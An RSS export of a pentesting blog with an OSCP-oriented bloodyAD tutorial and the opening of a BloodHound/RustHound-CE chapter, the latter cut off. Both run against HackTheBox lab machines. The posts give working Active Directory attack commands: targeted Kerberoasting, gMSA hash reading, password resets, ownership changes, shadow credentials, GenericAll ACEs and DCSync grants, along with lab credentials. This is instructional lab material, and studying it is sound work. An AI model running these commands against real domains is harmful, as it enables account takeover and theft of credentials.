<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Hack2Harden]]></title><description><![CDATA[Deonte Spencer — hands-on pentester documenting my OSCP journey, CTF & lab writeups, and practical CVE analysis. I publish clear commands, detection ideas, and ]]></description><link>https://www.hack2harden.com</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1760220766829/3bd99ec5-350f-43f8-a2cf-d5f107515d1e.png</url><title>Hack2Harden</title><link>https://www.hack2harden.com</link></image><generator>RSS for Node</generator><lastBuildDate>Fri, 11 Sep 2026 19:06:17 GMT</lastBuildDate><atom:link href="https://www.hack2harden.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[The OSCP Toolkit: bloodyAD]]></title><description><![CDATA[Executing the Active Directory attack paths BloodHound finds, from a Linux box.
What bloodyAD is, and where it fits
BloodHound is very good at one thing: showing you what's possible in an Active Direc]]></description><link>https://www.hack2harden.com/the-oscp-toolkit-bloodyad</link><guid isPermaLink="true">https://www.hack2harden.com/the-oscp-toolkit-bloodyad</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Sat, 22 Aug 2026 23:15:32 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9298e1f2-02b8-4a76-9098-aeeaf22e674f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>Executing the Active Directory attack paths BloodHound finds, from a Linux box.</em></p>
<h2>What bloodyAD is, and where it fits</h2>
<p>BloodHound is very good at one thing: showing you what's possible in an Active Directory environment. It collects the directory, maps the relationships between users, groups, and computers, and highlights the paths that lead from a low-privileged account to Domain Admin. What it doesn't do is act on any of it. BloodHound shows you the path but doesn't walk it, and walking it is the job bloodyAD is built for.</p>
<p>bloodyAD is an Active Directory privilege-escalation framework. In practical terms, it's a single Linux tool that logs into a domain controller over LDAP and lets you read, add, and modify objects in the directory: users, groups, computers, permissions, and delegation settings.</p>
<p>It authenticates with whatever credential you have. A cleartext password, an NT hash, a Kerberos ticket, or a certificate all work, which matters on a real engagement where you rarely start with a clean password.</p>
<h3>Why bloodyAD instead of the alternatives</h3>
<p>Plenty of tools abuse Active Directory permissions, so it's fair to ask why this one is worth learning. The short version is that it consolidates a lot of separate capabilities into one consistent interface, and it runs from Linux.</p>
<p>Impacket covers much of the same ground, but it's a collection of individual scripts: one to edit a DACL, another to change an owner, another for RBCD, another to add a computer. Each has its own syntax. bloodyAD puts most of those operations behind one tool with one grammar.</p>
<p>PowerView, Rubeus, and Whisker are Windows-native tools and are commonly used from a Windows foothold. bloodyAD lets you perform many of the same directory-side operations directly from your Linux attack box.</p>
<p>Certipy is the better tool for AD CS exploitation, and bloodyAD doesn't try to replace it. bloodyAD can enumerate certificate templates, but for actually exploiting an ESC path you'll still want Certipy. The two are complementary.</p>
<p>So the case for bloodyAD isn't that it beats everything else. It's that when you have a credential, a Linux box, and a permission to abuse, it's the most direct way to act on that permission without touching a Windows host. It also works transparently through a SOCKS proxy, so the same commands run unchanged when you're pivoting through a compromised host, which is where the Ligolo-ng chapter connects.</p>
<h3>What it can actually do</h3>
<p>bloodyAD is often introduced as a password-reset tool, which undersells it. The CLI is organized under a few verbs:</p>
<ul>
<li><p><strong>get</strong> reads from the directory: object attributes, domain trusts, and <code>get writable</code>, which lists what your current account can modify.</p>
</li>
<li><p><strong>add</strong> creates or grants: a group member, a computer, a GenericAll ACE, DCSync rights, shadow credentials, RBCD, or a UAC flag.</p>
</li>
<li><p><strong>set</strong> changes an existing value: an object's owner, a password, a service principal name for a targeted Kerberoast, or a restore on a deleted object.</p>
</li>
<li><p><strong>remove</strong> reverses any of the above, which matters because cleaning up after yourself is part of the work.</p>
</li>
</ul>
<p>Together, that covers a large part of the Active Directory attack surface in a single binary.</p>
<h3>How it works alongside BloodHound</h3>
<p>This is worth spelling out, because it's the reason bloodyAD earns a place next to BloodHound rather than competing with it.</p>
<p>The two tools handle different halves of the same job. BloodHound is analysis; bloodyAD is execution.</p>
<p>BloodHound collects the directory, builds the graph, and shows you the edges: ForceChangePassword, GenericWrite, GenericAll, WriteOwner, AddMember, AddKeyCredentialLink, AllowedToAct. It tells you what you can do and where each option leads, and it does all of this read-only. It never modifies the domain.</p>
<p>bloodyAD is what turns one of those edges into an actual change. Most of the mapping is straightforward once you've seen it. Just to name a few:</p>
<ul>
<li><p>ForceChangePassword corresponds to <code>set password</code>.</p>
</li>
<li><p>GenericAll over a user lets you run <code>set password</code> or <code>add shadowCredentials</code> directly.</p>
</li>
<li><p>WriteOwner is a two-step: <code>set owner</code> to take the object, then <code>add genericAll</code> to grant yourself control, and then you abuse it.</p>
</li>
<li><p>GenericWrite lets you write an SPN and Kerberoast, or add shadow credentials.</p>
</li>
<li><p>AllowedToAct corresponds to <code>add rbcd</code>.</p>
</li>
<li><p>GenericAll over a group corresponds to <code>add groupMember</code>.</p>
</li>
</ul>
<p>Most edges BloodHound draws have a corresponding bloodyAD command.</p>
<p>The relationship runs in both directions, too. BloodHound's graph is a snapshot taken at collection time, while bloodyAD's <code>get writable</code> shows you what your identity can modify right now. That's how you catch access that changed since your last collection, or that your collector missed.</p>
<p>In practice the workflow is a loop: collect with your BloodHound collector, analyze the graph, execute the useful edge with bloodyAD, then re-collect to see what your new access opened up, and repeat as needed.</p>
<p>It's also worth knowing that bloodyAD's author ships two companion scripts, pathgen and autobloody, which read BloodHound's Neo4j database directly, work out a privilege-escalation path, and execute it through bloodyAD automatically. This post covers the primitives one at a time so you understand each one, rather than handing the whole path to automation, but the fact that the integration exists at all says something about how closely the two tools are meant to work together.</p>
<h2>Installing bloodyAD on Kali</h2>
<p>There are two reasonable ways to install bloodyAD on Kali, and it's worth understanding the trade-off rather than copying one command blindly.</p>
<p>Kali packages bloodyAD, so the simplest option is:</p>
<pre><code class="language-plaintext">sudo apt install bloodyad
</code></pre>
<p>This pulls the dependencies for you and updates alongside the rest of your system, and it's the approach Kali recommends whenever a tool is already packaged.</p>
<p>The reason I usually install it with pipx instead is that bloodyAD is developed actively, and new features and fixes reach the upstream project before they make it into the Kali package. If you want the current version, pipx gives you the upstream build in an isolated environment without modifying Kali's system Python.</p>
<p>It's also worth being clear on why the answer isn't plain pip. Since Kali 2024.4, system-wide pip installs are blocked, and running <code>sudo pip install</code> returns an <code>externally-managed-environment</code> error. pipx is the supported way to install standalone Python tools around that restriction.</p>
<h3>Installing with pipx</h3>
<p>First, check whether pipx is already present:</p>
<pre><code class="language-plaintext">pipx --version
</code></pre>
<p>If it isn't, install it from APT:</p>
<pre><code class="language-plaintext">sudo apt update &amp;&amp; sudo apt install pipx -y
</code></pre>
<p>Then make sure pipx's binary directory is on your PATH:</p>
<pre><code class="language-plaintext">pipx ensurepath
</code></pre>
<p>If that command makes a change, open a new terminal before continuing so the shell picks it up.</p>
<p>Now install bloodyAD:</p>
<pre><code class="language-plaintext">pipx install bloodyAD
</code></pre>
<p>Confirm it installed and check where it lives:</p>
<pre><code class="language-plaintext">bloodyAD --help
which bloodyAD
</code></pre>
<p>On a standard Kali setup, the executable will be in your user's local bin directory:</p>
<pre><code class="language-plaintext">/home/kali/.local/bin/bloodyAD
</code></pre>
<h3>Keeping it updated</h3>
<p>If you install with pipx, one thing to remember is that pipx-managed tools sit outside APT. Running <code>sudo apt update &amp;&amp; sudo apt upgrade</code> will not update bloodyAD. You update it separately:</p>
<pre><code class="language-plaintext">pipx upgrade bloodyAD
</code></pre>
<p>Or update everything pipx manages at once:</p>
<pre><code class="language-plaintext">pipx upgrade-all
</code></pre>
<p>And to see what pipx is currently managing:</p>
<pre><code class="language-plaintext">pipx list
</code></pre>
<h3>The shape of a bloodyAD command</h3>
<p>That's the full installation. There's no need to clone the repository or build a virtual environment by hand. From here, nearly every bloodyAD command follows the same structure:</p>
<pre><code class="language-plaintext">bloodyAD --host &lt;DC_IP&gt; -d &lt;DOMAIN&gt; -u &lt;USER&gt; -p '&lt;PASSWORD&gt;' &lt;ACTION&gt;
</code></pre>
<p>The host, the domain, the account you're authenticating as, and the action to run against the directory. You'll also see <code>-H</code> used as the short form of <code>--host</code>. The rest of this post focuses on that last part: the actions worth knowing, what each one abuses, the rights that enable it, and how to undo it. (Note a lot of the following commands come from the hackthebox machine TombWatcher this is a good box to follow along with and get really familiar with bloodhound bloodyAD and nxc.)</p>
<h2>Change an SPN (targeted Kerberoasting)</h2>
<p>If you can write to a target account's <code>servicePrincipalName</code> attribute, you can make that account Kerberoastable on demand. You assign it an SPN, request a service ticket for that SPN, crack the ticket offline to recover the account's password, and then remove the SPN you added. The account doesn't need to be running any service; it only needs the SPN long enough for you to request and capture a ticket. This is targeted Kerberoasting.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/7cd05cfe-e5e2-46a4-8ade-a54168fc41d4.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Rights that enable it.</strong> You need write access to the target's <code>servicePrincipalName</code>. In BloodHound terms, that's any of:</p>
<ul>
<li><p>WriteSPN, or WriteProperty over servicePrincipalName</p>
</li>
<li><p>GenericWrite</p>
</li>
<li><p>GenericAll</p>
</li>
</ul>
<p>If you only hold WriteDACL, WriteOwner, or ownership of the object, you can grant yourself one of the rights above first and then write the SPN. That chain is covered in the WriteDACL section.</p>
<p><strong>Writing the SPN.</strong> The <code>set object</code> command writes an attribute. You give it the target, the attribute name, and the value with <code>-v</code>:</p>
<pre><code class="language-plaintext">bloodyAD --host 10.129.46.58 -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb set object alfred servicePrincipalName -v 'HTTP/alfred.tombwatcher.htb'
</code></pre>
<p>bloodyAD confirms the change with <code>[+] alfred's servicePrincipalName has been updated</code>.</p>
<p>With the SPN in place, you can request the ticket. NetExec's LDAP module handles this with <code>--kerberoasting</code>, which requests a ticket for every account that has an SPN. In this case that's the one account you just modified:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/76fce06c-8758-426c-a00a-1e7b947501a7.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">nxc ldap 10.129.46.58 -u henry -p 'H3nry_987TGV!' --kerberoasting kroast.txt
</code></pre>
<p>The output reports <code>Total of records returned 1</code> and writes the account's <code>$krb5tgs$23$</code> hash to the output file. From there it's a standard offline crack:</p>
<pre><code class="language-plaintext">john kroast.txt --wordlist=/usr/share/wordlists/rockyou.txt
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b39ce4a6-95e3-405b-91d5-69e4abd3cb19.png" alt="" style="display:block;margin:0 auto" />

<p>The hash cracks to the password <code>basketball</code>. Writing a single attribute turned an account you couldn't authenticate as into one you can.</p>
<p><strong>A couple of things to know.</strong></p>
<p>The service named in the SPN doesn't have to exist, and nothing needs to be listening for it. The SPN only has to be unique within the domain. <code>HTTP/</code> is a common choice by convention, but the attack doesn't depend on the service class you use.</p>
<p>Because you're modifying a live account, you should restore the original state when you're done. bloodyAD will give you the restore command if you add <code>--bak</code>:</p>
<pre><code class="language-plaintext">bloodyAD --host 10.129.46.58 -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb set object alfred servicePrincipalName -v 'HTTP/alfred.tombwatcher.htb' --bak
</code></pre>
<p>It performs the write and then prints the command that reverses it:</p>
<pre><code class="language-plaintext">[+] Restore command:
    set object 'alfred' servicePrincipalName
</code></pre>
<p>Use <code>--bak</code> on your first change to the attribute, not a later one. It records whatever value the attribute holds at the moment you run it, so if you set the SPN first and add <code>--bak</code> on a second run, you'll back up the value you already planted rather than the original. The correct sequence is to back up first, perform the roast, and then run the restore command bloodyAD printed, prefixed with your usual <code>--host</code>, <code>-u</code>, and <code>-p</code>.</p>
<h2>Add a group member</h2>
<p>Adding a principal you control to a group lets you inherit whatever rights, access, or privileges that group has been granted. If a group holds useful permissions somewhere in the domain, membership in it becomes a path to those permissions.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c7c911f9-4fa9-4099-a9cc-68ff1a5a76a7.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Rights that enable it.</strong> Any of:</p>
<ul>
<li><p>AddMember, or WriteProperty over the group's member attribute</p>
</li>
<li><p>AddSelf (allows the principal holding the right to add itself to the group)</p>
</li>
<li><p>GenericWrite</p>
</li>
<li><p>GenericAll</p>
</li>
</ul>
<p>As with the other operations, WriteDACL, WriteOwner, or ownership of the group can be used to grant yourself one of these first.</p>
<p><strong>The command.</strong> <code>add groupMember</code> takes the group and the member to add:</p>
<pre><code class="language-plaintext">bloodyAD --host 10.129.46.58 -u alfred -p 'basketball' -d tombwatcher.htb add groupMember Infrastructure alfred
</code></pre>
<p>A couple of notes. Group membership can unlock rights elsewhere in the domain through ACLs assigned to that group, which is the reason it's worth doing. And because your current token or Kerberos ticket was issued before you joined the group, you may need to re-authenticate or request a fresh ticket for the new membership to take effect.</p>
<p><strong>Cleanup.</strong> Remove yourself when you're done:</p>
<pre><code class="language-plaintext">bloodyAD --host 10.129.46.58 -u alfred -p 'basketball' -d tombwatcher.htb remove groupMember Infrastructure alfred
</code></pre>
<h2>Read a gMSA password</h2>
<p>A group managed service account (gMSA) is a domain account intended for services and scheduled tasks, where Active Directory manages and rotates the password automatically. If you have the right to read that managed password, bloodyAD will retrieve it and parse the blob into an NT hash you can use for pass-the-hash authentication as the account.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2256d78e-27a7-49fc-b897-482d42c060d3.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Rights that enable it.</strong> Any of:</p>
<ul>
<li><p>ReadGMSAPassword</p>
</li>
<li><p>Being listed in the gMSA's PrincipalsAllowedToRetrieveManagedPassword / msDS-GroupMSAMembership</p>
</li>
<li><p>GenericAll over the gMSA</p>
</li>
</ul>
<p>WriteDACL, WriteOwner, or ownership can be used to grant yourself read access first.</p>
<p><strong>The command.</strong> Read the managed password attribute directly:</p>
<pre><code class="language-plaintext">bloodyAD --host 10.129.46.58 -u alfred -p 'basketball' -d tombwatcher.htb get object 'ansible_dev$' --attr msDS-ManagedPassword
</code></pre>
<p>In the output, look for <code>msDS-ManagedPassword.NT</code>. That's the NT hash you want. A few things worth knowing: gMSA account names end in <code>$</code>, but so do computer accounts, so don't identify a gMSA by the trailing <code>$</code> alone. NetExec's normal <code>--users</code> enumeration can skip gMSA accounts, so if you know the name, querying it directly like this is the reliable way to get the hash.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/82235823-1dee-4bcd-b689-f9488b7dd17d.png" alt="" style="display:block;margin:0 auto" />

<p>That NT hash is what you carry into the next step. bloodyAD authenticates with a hash using <code>-p ':&lt;NT_HASH&gt;'</code>, with the leading colon, which is different from NetExec's <code>-H</code>.</p>
<h2>Reset a password</h2>
<p>Setting a new password on a target account is the most direct takeover when you have the right to do it. This is a reset, not a change: you don't need to know the account's current password.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ebdffb82-76e9-4da9-8dc6-4db5e55a7a0d.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Rights that enable it.</strong> Any of:</p>
<ul>
<li><p>ForceChangePassword (User-Force-Change-Password)</p>
</li>
<li><p>AllExtendedRights</p>
</li>
<li><p>GenericAll</p>
</li>
</ul>
<p>WriteDACL, WriteOwner, or ownership can be used to grant yourself the reset right first.</p>
<p><strong>The command.</strong> Here the authenticating account is the gMSA from the previous step, using its NT hash, resetting a different user's password:</p>
<pre><code class="language-plaintext">bloodyAD --host 10.129.46.58 -u 'ansible_dev$' -p ':cb3161cb2c9d84b58ba3014f55040d75' -d tombwatcher.htb set password sam 'Password1$'
</code></pre>
<p>bloodyAD confirms with <code>[+] Password changed successfully!</code>.</p>
<p>One caution: resetting a password is disruptive. It locks the legitimate user out of the account and can break any service authenticating as it, so it's the noisiest of the takeover options. When the account is in active use and you have a less disruptive alternative such as shadow credentials, prefer that.</p>
<h2>Change an object's owner</h2>
<p>Changing an object's owner to a principal you control is usually a stepping stone rather than the final move. An object's owner can rewrite that object's DACL, which lets you grant yourself whatever right you actually need: GenericAll, GenericWrite, ForceChangePassword, or control over group membership.</p>
<p><strong>Rights that enable it.</strong> Either of:</p>
<ul>
<li><p>WriteOwner</p>
</li>
<li><p>GenericAll</p>
</li>
</ul>
<p><strong>The command.</strong> The syntax is <code>set owner &lt;TARGET&gt; &lt;NEW_OWNER&gt;</code>:</p>
<pre><code class="language-plaintext">bloodyAD --host 10.129.46.58 -u sam -p 'Password1$' -d tombwatcher.htb set owner john sam
</code></pre>
<p>bloodyAD reports the change, naming the previous owner's SID and the new one: <code>[+] Old owner S-1-5-21-...-512 is now replaced by sam on john</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6968d271-17d8-4be2-9735-1e0daa916fab.png" alt="" style="display:block;margin:0 auto" />

<p>Two things to keep in mind. Becoming the owner does not automatically grant you GenericAll; what it gives you is the ability to rewrite the DACL and add the right you want. And if you care about cleanup, record the original owner (the SID bloodyAD prints) before you change it, so you can put it back.</p>
<h2>Add shadow credentials</h2>
<p>Shadow credentials add a KeyCredential to the target's <code>msDS-KeyCredentialLink</code> attribute, which gives you certificate-based Kerberos authentication material for that account without changing its password. Because the account's password is untouched, shadow credentials are less disruptive than a password reset and won't lock the legitimate user out.</p>
<p><strong>Rights that enable it.</strong> Any of:</p>
<ul>
<li><p>AddKeyCredentialLink, or write access to msDS-KeyCredentialLink</p>
</li>
<li><p>GenericWrite</p>
</li>
<li><p>GenericAll</p>
</li>
</ul>
<p>WriteDACL, WriteOwner, or ownership can be used to grant yourself the write first.</p>
<p><strong>The command.</strong></p>
<pre><code class="language-plaintext">bloodyAD --host 10.129.46.58 -u sam -p 'Password1$' -d tombwatcher.htb add shadowCredentials john
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/aa541b43-a38d-4b71-bb6a-4d945fabaa4c.png" alt="" style="display:block;margin:0 auto" />

<p>This attack depends on the Key Trust PKINIT path, and there are a few things worth understanding before you rely on it. If the PKINIT authentication step fails, that does not necessarily mean the KeyCredential write failed. bloodyAD may have successfully written the credential and saved a PFX before the later authentication attempt errored, and a PKINIT failure here doesn't prove that all certificate-based authentication is broken in the domain, since another certificate-trust path may still work. If the credential can't authenticate and you also hold a simpler takeover right such as ForceChangePassword, it's reasonable to just reset the password instead.</p>
<p>One practical warning: don't blindly rerun the command after a failure, because each run can append another KeyCredential. Save the SHA256 key ID that bloodyAD prints so you can remove only the credential you added.</p>
<p><strong>Cleanup.</strong> Remove the specific credential by its key ID:</p>
<pre><code class="language-plaintext">bloodyAD --host 10.129.46.58 -u sam -p 'Password1$' -d tombwatcher.htb remove shadowCredentials john --key 4bbd1b02f3ea504eef3df222989bb46ef141f1c018b67932e7df659373f23a60
</code></pre>
<h2>Add a GenericAll ACE</h2>
<p>Adding a GenericAll ACE for a principal you control gives that principal full control over the target object. From there you use whatever takeover fits the object type: reset a user's password, add shadow credentials, change an SPN, or modify group membership.</p>
<p><strong>Rights that enable it.</strong> Any of:</p>
<ul>
<li><p>WriteDACL</p>
</li>
<li><p>GenericAll</p>
</li>
<li><p>Ownership of the target</p>
</li>
</ul>
<p>If you only have WriteOwner, take ownership first and then add GenericAll.</p>
<p><strong>The command.</strong> The syntax is <code>add genericAll &lt;TARGET&gt; &lt;TRUSTEE&gt;</code>, where the trustee is the principal receiving control over the target:</p>
<pre><code class="language-plaintext">bloodyAD --host 10.129.46.58 -u sam -p 'Password1$' -d tombwatcher.htb add genericAll john sam
</code></pre>
<p>Full control over the object is the result, but the useful follow-up depends on what kind of object the target is. If you already hold WriteDACL, this is often the simplest way to convert that into an immediately useful position.</p>
<p><strong>Cleanup.</strong></p>
<pre><code class="language-plaintext">bloodyAD --host 10.129.46.58 -u sam -p 'Password1$' -d tombwatcher.htb remove genericAll john sam
</code></pre>
<h2>WriteDACL and GenericAll: the quick rule</h2>
<p>Two rights come up constantly, and it helps to have a default response to each.</p>
<p>If you have <strong>WriteDACL</strong> over an object, the standard move is to grant a principal you control GenericAll over it:</p>
<pre><code class="language-plaintext">bloodyAD --host &lt;DC_IP&gt; -u &lt;USER&gt; -p '&lt;PASSWORD&gt;' -d &lt;DOMAIN&gt; add genericAll &lt;TARGET&gt; &lt;TRUSTEE&gt;
</code></pre>
<p>If you only have WriteOwner, take ownership first, then grant GenericAll.</p>
<p>Once you have <strong>GenericAll</strong>, pick the simplest takeover that fits the target:</p>
<ul>
<li><p>User: reset the password, or add shadow credentials.</p>
</li>
<li><p>Group: add a principal you control to the group.</p>
</li>
<li><p>Computer: shadow credentials are usually preferable to changing the machine password.</p>
</li>
<li><p>If a specific abuse such as targeted Kerberoasting fits the situation better, use that instead.</p>
</li>
</ul>
<p>The general principle is not to overcomplicate an ACL path. Convert the control you have into the simplest usable primitive and move on.</p>
<h2>DCSync</h2>
<p>DCSync abuses replication rights to pull secrets, including password hashes, directly from the domain. The point that trips people up: these rights apply to the <strong>domain object</strong> (the domain root), not to the domain controller's computer object.</p>
<p><strong>Rights that let you do it directly.</strong> Any of:</p>
<ul>
<li><p>The DCSync combination: both DS-Replication-Get-Changes and DS-Replication-Get-Changes-All</p>
</li>
<li><p>AllExtendedRights over the domain object</p>
</li>
<li><p>GenericAll over the domain object</p>
</li>
</ul>
<p>If you already hold these, there's no reason to keep pivoting through user accounts. Dump the domain secrets directly.</p>
<p><strong>Granting yourself DCSync.</strong> If you have WriteDACL over the domain object, grant a principal you control the replication rights:</p>
<pre><code class="language-plaintext">bloodyAD --host &lt;DC_IP&gt; -u &lt;USER&gt; -p '&lt;PASSWORD&gt;' -d &lt;DOMAIN&gt; add dcsync &lt;TRUSTEE&gt;
</code></pre>
<p>WriteOwner can be chained the same way as elsewhere: take ownership, modify the DACL, then grant DCSync.</p>
<p><strong>Cleanup.</strong></p>
<pre><code class="language-plaintext">bloodyAD --host &lt;DC_IP&gt; -u &lt;USER&gt; -p '&lt;PASSWORD&gt;' -d &lt;DOMAIN&gt; remove dcsync &lt;TRUSTEE&gt;
</code></pre>
<h2>Wrapping up</h2>
<p>Every operation in this post follows the same shape: identify the right you hold, choose the write it enables, run it, and undo it afterward. That's the pattern behind targeted Kerberoasting, group membership changes, gMSA password reads, resets, ownership changes, shadow credentials, GenericAll, and DCSync alike. Once the pattern is familiar, bloodyAD stops being a list of commands to memorize and becomes a single tool you point at whatever right BloodHound put in front of you.</p>
<p>If you're following the series, the earlier chapters lead into this one:</p>
<ul>
<li><p><strong>NetExec</strong> covers gaining the initial credential, including the <code>--kerberoasting</code> module used here. <a href="https://www.hack2harden.com/the-oscp-toolkit-netexec"><strong>https://www.hack2harden.com/the-oscp-toolkit-netexec</strong></a></p>
</li>
<li><p><strong>BloodHound + RustHound-CE</strong> covers finding the edges that bloodyAD executes. <a href="https://www.hack2harden.com/the-oscp-toolkit-bloodhound-rusthound-ce"><strong>https://www.hack2harden.com/the-oscp-toolkit-bloodhound-rusthound-ce</strong></a></p>
</li>
</ul>
<p><strong>Find. Fix. Fortify.</strong></p>
]]></content:encoded></item><item><title><![CDATA[The OSCP Toolkit: BloodHound + RustHound-CE]]></title><description><![CDATA[You have a foothold. You ran NetExec, validated a credential, and watched NXC print that green [+]. Good. Now what?
Now you're standing in a domain with one low-priv account and no idea where it can t]]></description><link>https://www.hack2harden.com/the-oscp-toolkit-bloodhound-rusthound-ce</link><guid isPermaLink="true">https://www.hack2harden.com/the-oscp-toolkit-bloodhound-rusthound-ce</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Fri, 14 Aug 2026 03:51:21 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6b19016d-08e2-4ce1-b2ec-b1978c845bab.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>You have a foothold. You ran NetExec, validated a credential, and watched NXC print that green <code>[+]</code>. Good. Now what?</p>
<p>Now you're standing in a domain with one low-priv account and no idea where it can take you. This is the exact moment BloodHound exists for. NetExec is how you get <em>a</em> credential. BloodHound is how you find out that credential owns the entire domain and just doesn't know it yet.</p>
<p>This chapter takes you end to end: collect the directory with RustHound-CE, spin up the BloodHound UI, import clean, mark what you own, read what that ownership actually gets you, and let the tool draw you a route from a nobody support account to the DC. We'll run the whole thing against HTB's Support box.</p>
<p>Let's map some paths.</p>
<hr />
<h2>Step one: you can't map what you haven't collected</h2>
<p>Here's the thing that trips people up when they first meet BloodHound. <strong>BloodHound doesn't collect anything.</strong> It never touches the domain. It's a graph engine, not a scanner. Every bit of intel it draws was gathered before you ever opened the UI, by a separate tool called a collector.</p>
<p>The collector is the recon. BloodHound is just the map it draws from it.</p>
<p>So before we get anywhere near attack paths and Kerberoast queries and the shortest path to Domain Admins, we have to feed the thing. That takes two ingredients: a valid domain credential, and a collector to run with it.</p>
<h3>Why you need creds first</h3>
<p>You cannot point a collector at a domain controller and vacuum up the directory for free. Modern DCs don't allow anonymous LDAP binds, so AD won't tell you a single useful thing until you authenticate. No creds, no collection.</p>
<p>That's exactly why BloodHound sits where it does in the kill chain. It is not your opening move. It's what you fire the second you land a foothold, even the weakest one. One low-priv domain account is the entire entry fee.</p>
<p>NetExec is how you validate that first credential in the first place. The moment NXC prints a green <code>[+]</code>, you're holding everything RustHound needs to start pulling the graph. On Support, our foothold is the <code>ldap</code> account, and with that one set of creds we can bind to LDAP and pull the whole directory down.</p>
<h3>What the collector actually grabs</h3>
<p>When RustHound-CE runs, it isn't just grabbing a user list. It's walking the entire directory and pulling two categories of things:</p>
<p>The <strong>nodes</strong>, meaning the objects that exist: users, groups, computers, OUs, GPOs, containers, and the domain itself.</p>
<p>The <strong>edges</strong>, meaning the relationships between them: group memberships, ownership, ACL rights like GenericAll, WriteDACL, WriteOwner, and ForceChangePassword, plus delegation settings and trusts. On top of that it reads the attribute flags that quietly announce an attack primitive, like an account carrying an SPN (Kerberoastable) or one set to not require preauth (AS-REP roastable).</p>
<p>The nodes tell you what exists. <strong>The edges tell you how to win.</strong> A flat list of 21 users is noise. The graph of who can reset whose password, and which nested group quietly rolls up into Domain Admins, is the actual attack path. That's the whole reason we bother collecting.</p>
<h3>Two collectors, and knowing which to grab</h3>
<p>Before you run anything, one decision: SharpHound or RustHound. They're not rivals so much as two tools for two situations, and picking the right one is the difference between a complete graph and one with blind spots.</p>
<p><strong>Got a session on a domain-joined box? Reach for SharpHound.</strong></p>
<p>SharpHound is the reference collector, the one BloodHound's data model was built around. When you're running from inside the domain with network reach to the hosts, it doesn't just talk to the DC over LDAP. It reaches out to the individual computers over SMB and RPC and scoops up the stuff that only lives on the machines themselves: who's logged in where, who's a local admin, who has RDP or DCOM or PSRemote rights on each box.</p>
<p>That host-side data is where the nastiest paths hide. <strong>A Domain Admin session sitting on a box you already own is a game-ender</strong>, and that edge only exists in the graph if your collector actually went and looked at the host. From a local foothold, SharpHound is the one that reliably catches it. External LDAP-only collection can miss it entirely.</p>
<p><strong>Coming in from the outside with just a credential? RustHound-CE.</strong></p>
<p>This is the Support scenario, and it's the more common OSCP one. You're on your Kali box, you've got one domain cred, and you want the directory. RustHound is LDAP-first and absurdly fast, and it does a pile of convenient things automatically that make it my pick for external collection over reaching for <code>bloodhound-python</code> or NXC's LDAP module.</p>
<p>For example, <strong>if your account can read LAPS passwords, RustHound reads them for you and hands the local admin password straight back in the collection output.</strong> No extra query, no separate tool. It's sitting in your loot the moment collection finishes. That one feature alone earns its spot in my book. One honest caveat: this is legacy LAPS. Windows LAPS, the newer v2, isn't supported by the collector yet, so don't assume silence means the box is clean.</p>
<p>It doesn't stop there. It also pulls ADCS certificate template and CA data, so if there's a vulnerable template lurking, the ESC path shows up in your graph ready for a Certipy chaser. There's an optional FQDN resolver to map computer names to IPs, and beta support for following domain trusts. For a tool you fire once and forget, it front-loads a surprising amount of the next three steps.</p>
<p>So: <strong>local access, SharpHound. External with creds, RustHound.</strong> On Support we're squarely in the second camp, so Rust it is.</p>
<h3>RustHound-CE, the fast collector</h3>
<p>SharpHound is the classic collector, the C# one everybody starts with. RustHound-CE is the Rust rewrite built specifically for BloodHound Community Edition, and it is stupid fast because it's LDAP-focused. You point it at the domain, it hammers the LDAP partitions, and it spits out BloodHound-ready JSON in seconds. For OSCP-style boxes where the directory data is what you're after, it's my go-to.</p>
<p>Here's the run against Support:</p>
<pre><code class="language-plaintext">rusthound-ce -u ldap -p 'supersecurepass' -d support.htb -c All -z
</code></pre>
<p>Flag by flag:</p>
<p><code>-u ldap</code> is the username we're authenticating as. On this box the account is literally named <code>ldap</code>.</p>
<p><code>-p 'supersecurepass'</code> is the password. Quote it so the shell doesn't choke on special characters.</p>
<p><code>-d support.htb</code> is the domain FQDN. Notice there's no IP or DC address here. RustHound resolves the controller through DNS, and it resolves because we already dropped <code>support.htb</code> into <code>/etc/hosts</code> back in chapter one. That banner-reading step wasn't busywork, it's what lets this command Just Work.</p>
<p><code>-c All</code> tells RustHound to collect everything it can.</p>
<p><code>-z</code> zips the JSON output into a single archive, ready to drag straight into BloodHound.</p>
<h3>Reading the output</h3>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/384b490c-5a96-4a4b-8cfd-395d3e45ba43.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">[INFO] Connected to SUPPORT.HTB Active Directory!
[INFO] Starting data collection...
[INFO] Ldap filter : (objectClass=*)
[INFO] All data collected for NamingContext DC=support,DC=htb
